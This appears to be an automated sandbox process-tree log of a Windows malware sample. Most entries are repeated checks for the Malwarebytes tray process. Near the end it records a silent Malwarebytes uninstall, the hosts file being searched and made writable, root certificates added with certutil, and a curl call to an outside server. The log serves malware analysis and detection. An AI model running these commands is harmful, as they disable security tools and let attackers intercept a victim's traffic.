      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2456
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3064
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5100
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4588
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:392
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3272
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3032
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2928
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4060
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4376
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:464
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4960
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2456
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3392
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3432
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2040
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:2212
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4736
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:60
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:812
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC DISKDRIVE GET SERIALNUMBER
        5⤵
        
        PID:2200
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3540
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3948
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4884
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        Enumerates processes with tasklist
        
        PID:1776
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4148
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2572
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:2572
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:916
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4508
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4548
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:2580
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:3920
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:4388
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:1336
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4548
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4800
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2616
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2088
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3648
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1636
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4388
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3076
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4636
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        Enumerates processes with tasklist
        
        PID:728
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4464
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:696
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3556
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1960
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2904
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4532
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4100
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2292
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1640
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1120
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4068
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2892
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3632
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4424
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4464
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4636
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4060
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3308
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:868
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4444
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:528
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4164
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:1284
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4996
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3044
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3064
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2020
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3056
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:864
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3496
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3044
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3456
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3136
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        Enumerates processes with tasklist
        
        PID:4508
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:4960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:864
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2212
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:804
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:928
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4728
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3456
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4068
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2780
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3648
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3892
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2376
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1124
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:64
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:4572
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:1336
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3388
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2168
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:3384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3064
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:2808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2604
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2576
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:5012
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:3324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4100
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4436
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:4376
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:1120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr "holocron" "C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:2132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start-process -FilePath 'C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe' -ArgumentList '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' -NoNewWindow -Wait
    3⤵
    PID:2820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c findstr "keystone" "C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:4888
- - C:\Windows\system32\attrib.exe
    attrib -r C:\Windows\System32\drivers\etc\hosts
    3⤵
    - Views/modifies file attributes
    PID:2920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start-process -FilePath 'C:\Users\Admin\AppData\Local\Temp\rs.exe' -ArgumentList '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' -NoNewWindow -Wait
    3⤵
    PID:544
  - - C:\Users\Admin\AppData\Local\Temp\rs.exe
      "C:\Users\Admin\AppData\Local\Temp\rs.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
      4⤵
      PID:3344
    - - C:\Users\Admin\AppData\Local\Temp\is-N9B34.tmp\rs.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-N9B34.tmp\rs.tmp" /SL5="$A0162,63820596,239616,C:\Users\Admin\AppData\Local\Temp\rs.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
        5⤵
        
        PID:1684
      - C:\Windows\system32\certutil.exe
        
        "certutil.exe" -f -addStore root "C:\Users\Admin\AppData\Local\Temp\is-RUDGJ.tmp\BaltimoreCyberTrustRoot.crt"
        6⤵
        
        PID:3364
      - C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe
        
        "C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe" /service /Protected
        6⤵
        
        PID:1884
      - C:\Windows\system32\certutil.exe
        
        "certutil.exe" -f -addStore root "C:\Users\Admin\AppData\Local\Temp\is-RUDGJ.tmp\DigiCertEVRoot.crt"
        6⤵
        
        PID:3548
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:528
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
      4⤵
      PID:2324
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4628
  - - C:\Windows\system32\curl.exe
      curl -k https://c.aluhelsi.com/c01.php --user-agent "c010101"
      4⤵
      PID:2168
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        5⤵
        
        PID:3812
      - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        6⤵
        
        PID:60
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:4932
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        8⤵
        
        PID:3280
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /fi "imagename eq mbamtray.exe" /fo csv /nh
        7⤵
        
        PID:1776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start-process -FilePath 'C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe' -ArgumentList '/VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-' -NoNewWindow -Wait
    3⤵
    PID:2072
  - - C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe
      "C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
      4⤵
      PID:1080
    - - C:\Users\Admin\AppData\Local\Temp\_iu14D2N.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\_iu14D2N.tmp" /SECONDPHASE="C:\Program Files\Malwarebytes\Anti-Malware\unins000.exe" /FIRSTPHASEWND=$601FE /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
        5⤵
        
        PID:4872
      - C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe
        
